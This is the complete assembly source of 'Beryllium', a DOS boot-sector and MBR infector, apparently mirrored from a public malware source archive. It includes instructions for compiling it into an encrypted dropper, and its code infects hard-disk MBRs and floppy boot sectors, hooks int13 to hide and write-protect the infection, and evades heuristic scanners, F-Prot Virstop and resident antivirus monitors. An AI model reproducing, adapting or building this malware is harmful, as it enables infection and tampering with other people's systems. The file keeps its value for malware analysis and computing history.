mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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423 lines
20 KiB
Plaintext
423 lines
20 KiB
Plaintext
;=============================================================================
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; Virus Name: Beryllium
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;
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; Notes:
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; - resident, stealth, boot sector/MBR infector
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; - places only 22 bytes of benign code in a boot sector or MBR
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; thereby totally avoiding heuristic alarms even when the virus
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; is not resident to provide stealth
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; - resident virus not detected by F-Prot Virstop due to a
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; "password" located at installed virus offset 102h
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; - detects the presence of A-V monitors and deactivates while
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; they are present
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; - MBR and floppy boot sector stealth
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; - post-infection MBR write protection
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; - functionally infects all floppy formats in drives A and B
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;
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; To Compile:
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; - use shareware A86 assembler
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; - type "a86 berylium.a86"
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; - run the berylium.com file
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; - encrypted dropper is produced as "dropbery.com"
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; - if you desire to infect your system, run dropbery.com
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;=============================================================================
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boot equ 06ad ;delta offset for boot location
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drop equ 041 ;delta offset for drop of virus
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res equ 0153 ;delta offset for resident location
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oldlength equ 016 ;infection code length (boot sector)
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virus_tag1 equ 0c033 ;infection tag (main body code)
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virus_tag2 equ 0ea ;infection tag (boot sector code)
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;-----------------------------------------------------------------------------
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; Encrypt - encrypts dropper and creates dropper file
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;-----------------------------------------------------------------------------
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encrypt:
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mov bx,offset dropper ;starting point for encryption
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mov cl,04 ;set shift/rotate count
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scramble_it:
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mov ax,[bx] ;move target word into ax
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rol ax,cl ;rotate word left "cl" positions
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mov [bx],ax ;move word back to memory
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inc bx ;point to next byte
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cmp bx,offset MBR_buffer-2 ;end of code to encrypt?
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jbe scramble_it ;if not, do it again
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mov ah,03c ;create file function
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xor cx,cx ;attribute = 0 = read/write
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mov dx,offset file_name ;point to ASCIIZ file name string
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int 021 ;create file
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jc exit_encrypt ;if flag=fail, exit
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mov bx,ax ;load bx with new file's handle
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mov ah,040 ;write to file with handle
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mov cx,droplength ;number of bytes to write
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mov dx,offset decrypt ;pointer to data to write
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int 021 ;write encrypted dropper
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jc exit_encrypt ;if flag=fail, exit
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mov ah,03e ;close file
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int 021
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exit_encrypt:
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mov ax,04c00 ;terminate w/return code
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int 021 ;terminate program
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file_name db "dropbery.com",0 ;ASCIIZ dropper file name
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;-----------------------------------------------------------------------------
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; Decrypt - decrypts dropper using a method not currently recognized as
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; hostile by heuristic scanners
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;-----------------------------------------------------------------------------
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decrypt:
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mov bx,offset MBR_buffer-drop-2 ;starting point for decryption
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mov cl,04 ;set shift/rotate count
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unscramble_it:
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mov ax,[bx] ;move target word into ax
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ror ax,cl ;rotate word right "cl" positions
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mov [bx],ax ;move word back to memory
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dec bx ;point to next byte
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cmp bx,offset dropper-drop ;end of code to decrypt?
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jae unscramble_it ;if not, do it again
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;-----------------------------------------------------------------------------
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; Dropper - infects MBR if not already infected and if no A-V monitor program
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; is present
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;-----------------------------------------------------------------------------
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dropper:
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push ds ;preserve ds
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xor ax,ax ;zero ax
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mov ds,ax ;point data seg. to interrupt vector
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; table
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cmp byte ptr [040*4+3],0c0 ;int40 segment pointing to ROM?
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pop ds ;restore ds
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jb exit_dropper ;if not, do not attempt to infect MBR
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mov ah,035 ;load ah with installation check byte
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int 013 ;check for installed virus
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cmp al,ah ;al = ah?
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je exit_dropper ;if so, already installed, so MBR must
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; already be infected
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drop_it:
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mov ax,0201 ;select read-one-sector function
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mov bx,offset MBR_buffer-drop ;set load offset
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mov cx,02 ;cylinder 0, sector 2
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mov dx,080 ;fixed disk 0 (C)
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int 013 ;load to buffer
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jc exit_dropper ;if flag=fail, exit
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cmp word ptr [bx+070],virus_tag1 ;beryllium code present?
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je exit_dropper ;if so, exit dropper
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mov cx,virlength ;set move count
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mov si,offset beryllium-drop ;set source address of virus code
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lea di,[bx+070] ;set destination within buffer
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rep movsb ;infect sector in memory
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mov ax,0301 ;write infected sector to
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mov cl,02 ; cylinder 0, sector 2
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int 013
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jc exit_dropper ;if flag=fail, exit
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mov ax,0201 ;read original MBR
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dec cx ; from cylinder 0, sector 1
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int 013
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jc exit_dropper ;if flag=fail, exit
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mov ax,0301 ;write original MBR
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mov cl,03 ; to cylinder 0, sector 3
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int 013
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jc exit_dropper ;if flag=fail, exit
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mov byte ptr [offset head-drop],dh ;save location (head &
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mov byte ptr [offset sector-drop],02 ; sector) of virus in MBR's
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; viral bootstrap code
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mov cx,oldlength ;set number of bytes to move
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mov si,offset newbytes-drop ;set source address of infection code
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mov di,bx ;set destination to MBR in memory
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cld ;clear direction flag (fwd)
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rep movsb ;infect MBR with bootstrap code
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mov ax,0301 ;write infected MBR to
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inc cx ; cylinder 0, sector 1
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int 013
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exit_dropper:
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mov ax,04c00 ;terminate w/return code
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int 021 ;terminate program
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;-----------------------------------------------------------------------------
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; Beryllium - main body of virus, executes at boot, infects MBR if boot is
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; from floppy and MBR is not infected, installs virus in memory if not
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; installed
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;-----------------------------------------------------------------------------
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beryllium:
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xor ax,ax ;zero ax
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mov ds,ax ;set ds = 0
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cli ;clear interrupts
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mov ss,ax ;set ss = 0
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mov bx,07c00 ;set bx to boot code offset
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mov sp,bx ;ditto for sp
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sti ;set interrupts
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cmp dl,080 ;is this a hard drive boot?
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jne floppy_boot ;if not, jump to check/infect MBR
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mov ax,0201 ;if so, load orignal MBR to 7c00h
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mov cx,03 ;cylinder 0, sector 3
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int 013 ;do it
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jmp short install ;install virus in memory
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floppy_boot:
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mov si,offset oldbytes+boot ;load source offset of original bytes
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mov di,07c3e ;load destination in boot sector code
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mov cx,oldlength ;set number of bytes to move
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push cx ;save it for later
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cld ;clear direction (fwd)
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rep movsb ;restore original bytes to boot sector
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;in memory
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mov ax,0201 ;select read-one-sector function
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mov bh,06 ;set load offset
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inc cx ;cylinder 0, sector 1 (MBR)
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mov dx,080 ;fixed disk 0 (C)
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int 013 ;load MBR to 0:0600h
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cmp byte ptr [0611],virus_tag2 ;MBR infected?
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je install ;if so, install virus in memory
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mov ax,0301 ;if not, save orig. MBR
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mov cx,03 ;at cylinder 0, sector 3
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int 013 ;write MBR
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mov byte ptr [offset head+boot],dh ;save location (head &
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mov byte ptr [offset sector+boot],02 ; sector) of virus in MBR's
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; viral bootstrap code
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pop cx ;set number of bytes to move
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mov si,offset newbytes+boot ;set source address of infection code
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mov di,bx ;set destination to MBR in memory
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rep movsb ;infect MBR
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mov ax,0302 ;select write-two-sectors function
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inc cx ;cylinder 0, sector 1
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int 013 ;write infected MBR to sector 1 and
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;continuation of virus to sector 2
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install:
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mov ah,035 ;load ah with installation check byte
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int 013 ;check for installed virus
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cmp al,ah ;al = ah?
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je exec_boot ;if so, already installed, so jump to
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; execute boot code in memory
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dec word ptr [0413] ;lower top-of-mem by 1KB
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int 012 ;get conventional memory count in #KB
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mov cx,0106 ;load move and shift values
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shl ax,cl ;calculate segment for virus residence
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mov es,ax ;load es with destination segment
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xchg [013*4+2],ax ;steal int13 segment
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mov [offset old13+boot+2],ax ;store original segment in virus
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mov ax,offset int13-res ;load res. off. of virus int13
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xchg [013*4],ax ;steal int13 offset
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mov [offset old13+boot],ax ;store original offset in virus
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mov si,0870 ;set source offset
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mov di,0070 ;set destination offset
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rep movsw ;move virus to es:0h (9fc0:0000h in
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; system w/640K conventional memory)
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exec_boot:
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jmp 0000:07c00 ;execute boot code
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;-----------------------------------------------------------------------------
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; Int13 - responds to installation check from dropper and boot routines,
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; provides MBR stealth and write-protection, infects floppy if not already
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; infected and if no A-V monitor is present, provides floppy stealth
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;-----------------------------------------------------------------------------
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chain_int13:
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pop ds ;restore registers
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pop di
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pop si
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jmp short virstop
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db 078,078 ;Virstop "password"
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virstop:
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db 0ea ;"jmp far" to location specified in
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; old13
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old13 dw ?, ? ;offset and segment of original int13
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; handler
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int13:
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cmp ah,035 ;installation check?
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jne MBR_stealth ;if not, continue
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mov al,ah ;if so, put ah in al for confirmation
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iret ; and return
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MBR_stealth:
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push si ;preserve registers
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push di
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push ds
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cmp cx,01 ;track 0, sector 1?
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jne chain_int13 ;if not, we're not interested
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cmp dx,080 ;head 0, fixed disk 0?
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ja chain_int13 ;if above, exit
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jb infect_floppy ;if below, must be floppy access
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cmp ah,03 ;write to fixed disk MBR?
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je sim_IO ;if so, simulate write
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mov cl,03 ;point to relocated original MBR
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call bios_int13 ;load it to disk I/O buffer
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mov cl,01 ;restore cl to point to sector 1
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sim_IO:
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xor ah,ah ;clear ah and carry flag to simulate
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clc ; succcessful write
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exit_int13:
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pop ds ;restore registers
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pop di
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pop si
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retf 02 ;return to calling routine
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infect_floppy:
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cmp ah,02 ;read request?
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jne chain_int13 ;if not, exit
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cmp dl,01 ;floppy drive 'A' or 'B'?
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ja chain_int13 ;if not, exit
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call bios_int13 ;read boot sector
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jc exit_int13 ;if flag=fail, exit to retry
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cmp byte ptr es:[bx+04f],virus_tag2 ;boot sector infected?
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je floppy_stealth ;if so, hide infection
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xor cx,cx ;zero cx
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mov ds,cx ;point ds to system vector table
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cmp byte ptr [040*4+3],0c0 ;int40 pointing to ROM?
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jb floppy_stealth ;if not, do not infect boot sector
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push bx ;preserve registers
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push es
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push es
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pop ds ;set ds = es
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push cs
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pop es ;set es = cs
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lea si,[bx+03e] ;set source offset to boot sector
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mov di,offset oldbytes-res ;set destination to code storage
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mov cx,oldlength ;set number of bytes to move/save
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push cx ;save that number for later
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cld ;clear direction flag (fwd)
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rep movsb ;store original boot code in virus
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mov [bx],03ceb ;put jump at start of boot code
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mov al,byte ptr [bx+016] ;load # sectors/FAT from BPB
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mul byte ptr [bx+010] ;multiply by number of FATs
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inc ax ;add boot sector to count
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push ax ;save it for later
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mov ax,[bx+011] ;load max. # of files from BPB
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mov cl,04 ;divide by 16 to get # of root
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shr ax,cl ; directory sectors
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pop cx ;pop boot sector + FAT sector count
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add cx,ax ;add # of directory sectors
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sub cx,[bx+018] ;subtract # of sectors per track
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; to get target sector number
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inc dh ;specify head 1
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mov cs:byte ptr [offset head-res],dh ;set newbytes head/sector
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mov cs:byte ptr [offset sector-res],cl ; values to point to virus
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mov ax,0301 ;select write-one-sector function
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xor bx,bx ;set offset to point to virus
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call bios_int13 ;write virus to last root directory
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; sector
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pop cx ;restore registers
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pop es
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pop bx
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push cs
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pop ds ;set ds = cs
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mov si,offset newbytes-res ;point to infection code
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lea di,[bx+03e] ;set destination to boot sector code
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rep movsb ;infect boot sector in memory
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mov ax,0301 ;select write-one-sector function
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inc cx ;track 0, sector 1
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dec dh ;head 0, drive "dl"
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call bios_int13 ;write infected boot sector
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floppy_stealth:
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push cs
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pop ds ;set ds = cs
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mov si,offset oldbytes-res ;point to stored original boot code
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lea di,[bx+03e] ;set destination to boot sector
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mov cx,oldlength ;set number of bytes to move
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cld ;clear direction flag (fwd)
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rep movsb ;restore original bytes in memory
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inc cx ;restore cx to 0001h
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jmp short sim_IO ;return sanitized boot sector to
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; calling routine
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bios_int13:
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pushf ;push flags
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cs:
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call dword ptr [offset old13-res] ;call original int13 handler
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ret
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;-----------------------------------------------------------------------------
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; Newbytes - the only viral code that actually resides in the boot sector or
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; MBR. Its purpose is simply to load the main body of the virus to 0000:0800
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; and to transfer control to it. This is the only area that would need to be
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; modified to avoid anti-viral scan string detection.
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;-----------------------------------------------------------------------------
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newbytes:
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xor ax,ax ;zero ax
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mov es,ax ;set es = 0
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mov ax,0201 ;select read-one-sector function
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mov bx,0800 ;set disk I/O buffer offset
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db 0b9 ;"mov cx,00xx"
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sector db ? ;sector number (xx)
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db 00 ;track 0
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db 0b6 ;"mov dh,xx"
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head db ? ;head number (xx)
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int 013 ;load virus to 0000:0800h
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jmp 0000:0870 ;jump to execute virus code
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oldbytes:
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db oldlength dup ? ;storage location for original first
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; 22d bytes of the boot sector
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db 0,0,'BERYLLIUM!',0,0 ;credits
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MBR_buffer:
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droplength equ offset MBR_buffer - offset decrypt
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virlength equ offset MBR_buffer - offset beryllium
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decryptlength equ offset MBR_buffer - offset dropper
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end beryllium
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